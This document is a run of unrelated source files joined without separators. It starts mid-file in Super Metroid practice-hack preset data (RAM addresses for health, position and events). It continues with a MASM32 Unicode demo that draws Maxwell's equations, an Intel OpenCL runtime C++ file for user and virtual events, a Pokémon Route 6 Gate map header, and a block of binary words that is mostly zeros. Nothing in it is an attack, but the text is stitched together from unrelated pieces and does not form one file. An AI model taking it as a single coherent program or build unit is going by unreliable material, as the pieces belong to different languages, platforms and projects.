: db $02 : dw $01C3 ; Samus X dl $7ED82C : db $02 : dw $0002 ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_colosseum: dw #preset_14speed_maridia_botwoon_etank_room ; Maridia: Botwoon E-tank Room dl $7E078D : db $02 : dw $A870 ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $D913 ; MDB dl $7E07F3 : db $02 : dw $001B ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $B400 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $8400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0003 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $018F ; Health dl $7E09C6 : db $02 : dw $0009 ; Missiles dl $7E09CA : db $02 : dw $0007 ; Supers dl $7E09CE : db $02 : dw $0005 ; Pbs dl $7E0AF6 : db $02 : dw $00C1 ; Samus X dl $7ED91A : db $02 : dw $003B ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_draygon: dw #preset_14speed_maridia_colosseum ; Maridia: Colosseum dl $7E078D : db $02 : dw $A7F8 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $D78F ; MDB dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $EC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0180 ; Health dl $7E09CA : db $02 : dw $0005 ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $005B ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED8C2 : db $02 : dw $0C00 ; Events, Items, Doors dl $7ED91A : db $02 : dw $003C ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_colosseum_revisit: dw #preset_14speed_maridia_draygon ; Maridia: Draygon dl $7E078D : db $02 : dw $A96C ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E090F : db $02 : dw $8001 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0172 ; Health dl $7E09C6 : db $02 : dw $0006 ; Missiles dl $7E09CA : db $02 : dw $0008 ; Supers dl $7E0A68 : db $02 : dw $0001 ; Flash suit dl $7E0AF6 : db $02 : dw $0043 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED82C : db $02 : dw $0003 ; Events, Items, Doors dl $7ED8C2 : db $02 : dw $4C00 ; Events, Items, Doors dl $7ED91A : db $02 : dw $003D ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_reverse_botwoon: dw #preset_14speed_maridia_colosseum_revisit ; Maridia: Colosseum Revisit dl $7E078D : db $02 : dw $A7E0 ; DDB dl $7E079B : db $02 : dw $D913 ; MDB dl $7E090F : db $02 : dw $7001 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00F7 ; Health dl $7E09C6 : db $02 : dw $0008 ; Missiles dl $7E0A68 : db $02 : dw $0000 ; Flash suit dl $7E0AF6 : db $02 : dw $00B2 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dw #$FFFF .after preset_14speed_maridia_aqueduct_revisit: dw #preset_14speed_maridia_reverse_botwoon ; Maridia: Reverse Botwoon dl $7E078D : db $02 : dw $A90C ; DDB dl $7E079B : db $02 : dw $D617 ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $9400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001F ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00FC ; Health dl $7E0AF6 : db $02 : dw $009D ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED8C2 : db $02 : dw $6C00 ; Events, Items, Doors dl $7ED91A : db $02 : dw $003E ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_everest_revisit: dw #preset_14speed_maridia_aqueduct_revisit ; Maridia: Aqueduct Revisit dl $7E078D : db $02 : dw $A708 ; DDB dl $7E079B : db $02 : dw $D1A3 ; MDB dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $8001 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $7800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0207 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $006F ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED91A : db $02 : dw $0040 ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_red_tower_green_gate: dw #preset_14speed_maridia_everest_revisit ; Maridia: Everest Revisit dl $7E078D : db $02 : dw $A42C ; DDB dl $7E079B : db $02 : dw $D104 ; MDB dl $7E090F : db $02 : dw $5001 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0013 ; Screen X position in pixels dl $7E0913 : db $02 : dw $CC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00C8 ; Health dl $7E0AF6 : db $02 : dw $0074 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_14speed_tourian_kihunter_room_revisit: dw #preset_14speed_maridia_red_tower_green_gate ; Maridia: Red Tower Green Gate dl $7E078D : db $02 : dw $90BA ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $962A ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position dl $7E09CA : db $02 : dw $0007 ; Supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $006E ; Samus X dl $7E0AFA : db $02 : dw $005B ; Samus Y dw #$FFFF .after preset_14speed_tourian_terminator_revisit: dw #preset_14speed_tourian_kihunter_room_revisit ; Tourian: Kihunter Room Revisit dl $7E078D : db $02 : dw $8916 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $92FD ; MDB dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E07F3 : db $02 : dw $0009 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $FC00 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $00C7 ; Health dl $7E09C6 : db $02 : dw $0007 ; Missiles dl $7E0A1C : db $02 : dw $008A ; Samus position/state dl $7E0A1E : db $02 : dw $1504 ; More position/state dl $7E0AF6 : db $02 : dw $0115 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_14speed_tourian_pirate_shaft_revisit: dw #preset_14speed_tourian_terminator_revisit ; Tourian: Terminator Revisit dl $7E078D : db $02 : dw $895E ; DDB dl $7E079B : db $02 : dw $990D ; MDB dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $01FB ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00C5 ; Health dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $006C ; Samus X dl $7E0AFA : db $02 : dw $029B ; Samus Y dl $7ED91A : db $02 : dw $0041 ; Events, Items, Doors dw #$FFFF .after preset_14speed_tourian_metroids_1: dw #preset_14speed_tourian_pirate_shaft_revisit ; Tourian: Pirate Shaft Revisit dl $7E078D : db $02 : dw $9222 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $DAAE ; MDB dl $7E079F : db $02 : dw $0005 ; Region dl $7E07C3 : db $02 : dw $D414 ; GFX Pointers dl $7E07C5 : db $02 : dw $EDBF ; GFX Pointers dl $7E07C7 : db $02 : dw $C2BA ; GFX Pointers dl $7E07F3 : db $02 : dw $001E ; Music Bank dl $7E090F : db $02 : dw $A001 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $03FF ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $0006 ; Missiles dl $7E09CA : db $02 : dw $0006 ; Supers dl $7E0AF6 : db $02 : dw $0036 ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dl $7ED820 : db $02 : dw $0FC1 ; Events, Items, Doors dl $7ED8B2 : db $02 : dw $6C01 ; Events, Items, Doors dl $7ED90C : db $02 : dw $0100 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0043 ; Events, Items, Doors dw #$FFFF .after preset_14speed_tourian_metroids_2: dw #preset_14speed_tourian_metroids_1 ; Tourian: Metroids 1 dl $7E078D : db $02 : dw $A984 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $DAE1 ; MDB dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $DC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $018E ; Health dl $7E09C6 : db $02 : dw $000A ; Missiles dl $7E09CA : db $02 : dw $000A ; Supers dl $7E0AF6 : db $02 : dw $0039 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED822 : db $02 : dw $0021 ; Events, Items, Doors dl $7ED8C4 : db $02 : dw $0001 ; Events, Items, Doors dl $7ED90C : db $02 : dw $FF00 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0049 ; Events, Items, Doors dw #$FFFF .after preset_14speed_tourian_metroids_3: dw #preset_14speed_tourian_metroids_2 ; Tourian: Metroids 2 dl $7E078D : db $02 : dw $A9B4 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $DB31 ; MDB dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $3800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $00F6 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $015E ; Health dl $7E09CE : db $02 : dw $0003 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $00C1 ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED822 : db $02 : dw $0023 ; Events, Items, Doors dl $7ED8C4 : db $02 : dw $0003 ; Events, Items, Doors dw #$FFFF .after preset_14speed_tourian_metroids_4: dw #preset_14speed_tourian_metroids_3 ; Tourian: Metroids 3 dl $7E078D : db $02 : dw $A9CC ; DDB dl $7E079B : db $02 : dw $DB7D ; MDB dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels dl $7E0913 : db $02 : dw $CC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $011B ; Health dl $7E0AF6 : db $02 : dw $05AA ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED822 : db $02 : dw $0027 ; Events, Items, Doors dl $7ED8C4 : db $02 : dw $0007 ; Events, Items, Doors dl $7ED91A : db $02 : dw $004D ; Events, Items, Doors dw #$FFFF .after preset_14speed_tourian_doors_and_refills: dw #preset_14speed_tourian_metroids_4 ; Tourian: Metroids 4 dl $7E078D : db $02 : dw $AA2C ; DDB dl $7E079B : db $02 : dw $DCB1 ; MDB dl $7E07F3 : db $02 : dw $0045 ; Music Bank dl $7E07F5 : db $02 : dw $0007 ; Music Track dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0800 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0001 ; Health dl $7E09CE : db $02 : dw $0001 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0018 ; Samus X dl $7ED822 : db $02 : dw $002F ; Events, Items, Doors dl $7ED8C4 : db $02 : dw $002F ; Events, Items, Doors dw #$FFFF .after preset_14speed_tourian_zeb_skip: dw #preset_14speed_tourian_doors_and_refills ; Tourian: Doors and Refills dl $7E078D : db $02 : dw $AAA4 ; DDB dl $7E079B : db $02 : dw $DDF3 ; MDB dl $7E07F3 : db $02 : dw $001E ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $3FFF ; Screen subpixel X position. dl $7E0913 : db $02 : dw $4C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $021C ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $018F ; Health dl $7E09CA : db $02 : dw $0009 ; Supers dl $7E0AF6 : db $02 : dw $00DB ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED8C4 : db $02 : dw $03AF ; Events, Items, Doors dw #$FFFF .after preset_14speed_tourian_escape_room_3: dw #preset_14speed_tourian_zeb_skip ; Tourian: Zeb Skip dl $7E078D : db $02 : dw $AAEC ; DDB dl $7E079B : db $02 : dw $DE7A ; MDB dl $7E07F3 : db $02 : dw $0024 ; Music Bank dl $7E07F5 : db $02 : dw $0007 ; Music Track dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $7000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09A6 : db $02 : dw $1009 ; Beams dl $7E09C6 : db $02 : dw $0000 ; Missiles dl $7E09CA : db $02 : dw $0000 ; Supers dl $7E09CE : db $02 : dw $0000 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0A76 : db $02 : dw $8000 ; Hyper beam dl $7E0AFA : db $02 : dw $01BB ; Samus Y dl $7ED820 : db $02 : dw $4FC5 ; Events, Items, Doors dl $7ED82C : db $02 : dw $0203 ; Events, Items, Doors dw #$FFFF .after preset_14speed_tourian_escape_parlor: dw #preset_14speed_tourian_escape_room_3 ; Tourian: Escape Room 3 dl $7E078D : db $02 : dw $AB34 ; DDB dl $7E079B : db $02 : dw $96BA ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $6801 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00E0 ; Health dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $01D2 ; Samus X dl $7E0AFA : db $02 : dw $004B ; Samus Y dw #$FFFF .after
;-----------------------------------------------------------------; ; This advanced example shows how to use the Unicode macros ; ; to display some formulas (MAXWELL). ; ; The used font is <Lucida Sans Unicode>. According to ; ; Microsoft's Internet site, the equates should be shown correctly; ; for windows Win2K or newer. ; ; Also this example shows the usage of the fnx/rvx macros, which ; ; adds some new features, like the &-operator. ; ;-----------------------------------------------------------------; __UNICODE__ EQU 1 include \masm32\include\masm32rt.inc ; greek samll/captial letters include greek.inc ; superscript and subscript include Super_and_SubScript.inc ; declare some unicode char. MOP_NABLA EQU 2207h MOP_DOT EQU 22c5h MOP_DIV EQU 2215h MOP_CROSS_PRODUCT EQU 2a2fh MOP_DOUBLE_INTEGRAL EQU 222ch MOP_TRIPLE_INTEGRAL EQU 222dh MOP_CONTOUR_INTEGRAL EQU 222dh MOP_SURFACE_INTEGRAL EQU 222fh MOP_PARTIAL_DIFFERENTIAL EQU 2202h WndProc proto hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM WND_DATA struct hdc HDC ? hBmp HBITMAP ? WND_DATA ends .data ; UC = UCSTR = declare unicode string ; UCC = UCCSTR = declare unicode string with escape sequences ; Create the unicode strings 'wstr' UCC wstr,"Some equations \n\n" UC ,MOP_NABLA,MOP_DOT,CAP_EPSILON," = ",SML_RHO,MOP_DIV,SML_EPSILON,SUB_ZERO,13,10 UC ,MOP_NABLA,MOP_DOT,CAP_BETA," = 0",13,10 UC ,MOP_NABLA,"x",CAP_EPSILON," = -( ",MOP_PARTIAL_DIFFERENTIAL,CAP_BETA,MOP_DIV,MOP_PARTIAL_DIFFERENTIAL,"t )",13,10 UC ,MOP_NABLA,"x",CAP_BETA," = ",SML_MU,SUB_ZERO,MOP_DOT,"j + ",SML_MU,SUB_ZERO,MOP_DOT,SML_EPSILON,SUB_ZERO,MOP_DOT,"( ",MOP_PARTIAL_DIFFERENTIAL,CAP_EPSILON,MOP_DIV,MOP_PARTIAL_DIFFERENTIAL,"t )",13,10 UC ,MOP_SURFACE_INTEGRAL,"D",MOP_DOT,"dA = ",MOP_TRIPLE_INTEGRAL,SML_RHO,MOP_DOT,"dV",13,10 UC ,MOP_SURFACE_INTEGRAL,"B",MOP_DOT,"dA = 0",13,10 UC ,MOP_CONTOUR_INTEGRAL,CAP_EPSILON,MOP_DOT,"ds + ",MOP_DOUBLE_INTEGRAL,"(",MOP_PARTIAL_DIFFERENTIAL,CAP_BETA,MOP_DIV,MOP_PARTIAL_DIFFERENTIAL,"t )",MOP_DOT,"dA = 0" ; add the termination zero dw 0 .code main proc LOCAL wcex:WNDCLASSEXW LOCAL msg:MSG mov wcex.hInstance,rv(GetModuleHandle,0) mov wcex.cbSize,SIZEOF WNDCLASSEX mov wcex.style, CS_HREDRAW or CS_VREDRAW mov wcex.lpfnWndProc, OFFSET WndProc mov wcex.cbClsExtra,NULL mov wcex.cbWndExtra,SIZEOF WND_DATA mov wcex.hbrBackground,0 mov wcex.lpszMenuName,NULL mov wcex.lpszClassName,uc$("Win32, unicode") mov wcex.hIcon,rv(LoadIcon,NULL,IDI_APPLICATION) mov wcex.hIconSm,eax mov wcex.hCursor,rv(LoadCursor,NULL,IDC_ARROW) fnx RegisterClassEx,&wcex fnx esi = CreateWindowEx,0,wcex.lpszClassName,"Maxwell",WS_VISIBLE or WS_SYSMENU,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,0,0,wcex.hInstance,0 fnx ShowWindow,esi,SW_SHOWNORMAL fnx UpdateWindow,esi .while 1 fnx GetMessage,&msg,NULL,0,0 .break .if !eax || eax == -1 fnx TranslateMessage, &msg fnx DispatchMessage, &msg .endw invoke ExitProcess,msg.wParam main endp WndProc proc uses ebx esi edi hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM LOCAL ps:PAINTSTRUCT LOCAL rect[2]:RECT .if uMsg == WM_CLOSE invoke PostQuitMessage,NULL .elseif uMsg == WM_DESTROY ; delete memory DC fnx ebx = GetWindowLong,hWnd,WND_DATA.hdc invoke DeleteObject,rv(SelectObject,ebx,rv(GetWindowLong,hWnd,WND_DATA.hBmp)) invoke DeleteDC,ebx .elseif uMsg == WM_CREATE ; resize the client area 512*512 fnx GetClientRect,hWnd,&rect[16] fnx GetWindowRect,hWnd,&rect mov eax,rect.right mov edx,rect.bottom sub eax,rect.left sub edx,rect.top sub eax,rect[16].right sub edx,rect[16].bottom lea eax,[eax+512] lea edx,[edx+512] fn MoveWindow,hWnd,rect.left,rect.top,eax,edx,0 fnx GetClientRect,hWnd,&rect ; create memory DC fnx esi = GetDC,rv(GetDesktopWindow) fnx ebx = CreateCompatibleDC,esi fnx edi = CreateCompatibleBitmap,esi,rect.right,rect.bottom fn DeleteObject,rv(SelectObject,ebx,edi) fn ReleaseDC,rv(GetDesktopWindow),esi fn SetWindowLong,hWnd,WND_DATA.hBmp,edi fn SetWindowLong,hWnd,WND_DATA.hdc,ebx ; clear the DC (color=white) fn BitBlt,ebx,0,0,rect.right,rect.bottom,ebx,0,0,PATCOPY ; create font and select it into the DC fnx CreateFont,30,10,0,0,FW_NORMAL,0,FALSE,FALSE,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH,"Lucida Sans Unicode" mov esi,rv(SelectObject,ebx,eax) ; draw the text add rect.left,10 add rect.top,10 fnx DrawTextW,ebx,&wstr,-1,&rect,0 ; delete the font pop edx invoke DeleteObject,rv(SelectObject,ebx,edx) .elseif uMsg == WM_PAINT fnx BeginPaint,hWnd,&ps mov ebx,rv(GetWindowLong,hWnd,WND_DATA.hdc) mov edx,ps.rcPaint.right sub edx,ps.rcPaint.left mov ecx,ps.rcPaint.bottom sub ecx,ps.rcPaint.top invoke BitBlt,ps.hdc,ps.rcPaint.left,ps.rcPaint.top,edx,ecx,ebx,ps.rcPaint.left,ps.rcPaint.top,SRCCOPY fnx EndPaint,hWnd,&ps .else invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .endif xor eax,eax ret WndProc endp end main
/* * Copyright (c) 2017 - 2018, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #include "user_event.h" #include "runtime/command_stream/command_stream_receiver.h" #include "runtime/context/context.h" #include "runtime/device/device.h" #include "runtime/command_queue/command_queue.h" namespace OCLRT { UserEvent::UserEvent(Context *ctx) : Event(ctx, nullptr, CL_COMMAND_USER, eventNotReady, eventNotReady) { transitionExecutionStatus(CL_QUEUED); } void UserEvent::updateExecutionStatus() { return; } bool UserEvent::wait(bool blocking, bool useQuickKmdSleep) { while (updateStatusAndCheckCompletion() == false) { if (blocking == false) { return false; } } return true; } uint32_t UserEvent::getTaskLevel() { uint32_t taskLevel = 0; if (ctx != nullptr) { Device *pDevice = ctx->getDevice(0); auto &csr = pDevice->getCommandStreamReceiver(); taskLevel = csr.peekTaskLevel(); } return taskLevel; } bool UserEvent::isInitialEventStatus() const { return executionStatus == CL_QUEUED; } VirtualEvent::VirtualEvent(CommandQueue *cmdQ, Context *ctx) : Event(ctx, cmdQ, -1, eventNotReady, eventNotReady) { transitionExecutionStatus(CL_QUEUED); // internal object - no need for API refcount convertToInternalObject(); } void VirtualEvent::updateExecutionStatus() { ; } bool VirtualEvent::wait(bool blocking, bool useQuickKmdSleep) { while (updateStatusAndCheckCompletion() == false) { if (blocking == false) { return false; } } return true; } uint32_t VirtualEvent::getTaskLevel() { uint32_t taskLevel = 0; if (ctx != nullptr) { Device *pDevice = ctx->getDevice(0); auto &csr = pDevice->getCommandStreamReceiver(); taskLevel = csr.peekTaskLevel(); } return taskLevel; } bool VirtualEvent::setStatus(cl_int status) { // virtual events are just helper events and will have either // "waiting" (after construction) or "complete" (on change if not blocked) execution state if (isStatusCompletedByTermination(&status) == false) { status = CL_COMPLETE; } return Event::setStatus(status); } } // namespace OCLRT
Route6Gate_h: db GATE ; tileset db ROUTE_6_GATE_HEIGHT, ROUTE_6_GATE_WIDTH ; dimensions (y, x) dw Route6Gate_Blocks ; blocks dw Route6Gate_TextPointers ; texts dw Route6Gate_Script ; scripts db 0 ; connections dw Route6Gate_Object ; objects
0111100000000000 0010001000000000 0001001000000001 0011010000000000 0010001000000001 0001001000000010 0011010000000001 0010001000000010 0001001000000011 0011010000000010 0010001000000011 0001001000000100 0011010000000011 0010001000000100 0001001000000101 0011010000000100 0010001000000101 0001001000000110 0011010000000101 0010001000000110 0001001000000111 0011010000000101 0010001000000111 0001001000001000 0011010000000111 0010001000001000 0001001000001001 0011010000001000 0010001000001001 0001001000001010 0011010000001001 0010001000001010 0001001000001011 0011010000001010 0010001000001011 0001001000001100 0011010000001011 0010001000001100 0001001000001101 0011010000001100 0010001000001101 0001001000001110 0011010000001101 0010001000001110 0001001000001111 0011010000001110 0010001000001111 0001001000010000 0011010000001111 0010001000010000 0001001000010001 0011010000010000 0010001000010001 0001001000010010 0011010000010001 0010001000010010 0001001000010011 0011010000010010 0010001000010011 0001001000010100 0011010000010011 0010001000010100 0001001000010101 0011010000010100 0010001000010101 0001001000010110 0011010000010101 0010001000010110 0001001000010111 0011010000010101 0010001000010111 0001001000011000 0011010000010111 0010001000011000 0001001000011001 0011010000011000 0010001000011001 0001001000011010 0011010000011001 0010001000011010 0001001000011011 0011010000011010 0010001000011011 0001001000011100 0011010000011011 0010001000011100 0001001000011101 0011010000011100 0010001000011101 0001001000011110 0011010000011101 0010001000011110 0001001000011111 0011010000011110 0010001000011111 0001001000100001 0011010000011111 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 